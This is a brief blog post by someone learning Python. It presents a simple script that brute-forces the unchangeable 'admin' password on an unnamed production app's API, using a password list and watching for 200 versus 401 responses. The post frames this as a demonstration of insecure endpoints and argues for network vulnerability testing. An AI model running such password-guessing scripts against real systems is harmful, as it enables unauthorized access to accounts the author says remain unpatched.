Brute Force an API With Python.

Brute Force an API With Python.
Photo by Possessed Photography / Unsplash

In my search at learning programming with Python, I have been learning how to write simple versions of tools used for security testing. I recently wanted to try and make a simple script to guess a password on an app I knew used basic authentication for its API. The thought came to me when I was using Hydra to test the endpoint, and I thought maybe there would be an easier way for this particular case. I knew that username had to be "admin" because the app doesn't allow it to be changed, so after some research I came up with a simple script that will try passwords from a text file and output the password when the API returns a 200 code. As it also turns out for this particular app, this was an easier way to test for a password as the normal websites login returns a 200 response when an incorrect password is entered. The API will return a 401 response for an incorrect password, giving me the option to filter out the bad responses.

import requests

file = open("password_list.txt")

passw = file.read()

passwords = passw.splitlines()

for password in passwords:
    try:
        url = f'http://localhost:'PORT'/PATH/FOR/API?username=admin&password={password}'
        out = requests.get(url)
        code = out.status_code
        read = out.json()
    except requests.ConnectionError:
        pass
    if code == 200:
        print('admin password is:', password)
    else:
        pass
    if code == 200:
        exit()
else:
    print('Password Not Found')

This is a very basic script but it works. I wanted to show a simple example of how easy an insecure API endpoint could be attacked by someone with a basic python script. Knowing the username made this easier, so I may update this with the option to input a username list as well.  

This app I used it against does not have anything in place to protect it from simple attacks like this. Sadly this is the production version of the program and is deployed on many systems and still being deployed with security holes like this with no patch issued to date. Programs like this on your network can cause serious security risks and unfortunately some of these programs do not offer much when it comes to securing them or even documenting to customers that these connections exist.

This is a good example for why you should have someone verifying what ports are open on your network and testing for vulnerabilities in the apps you run onsite.  

Mastodon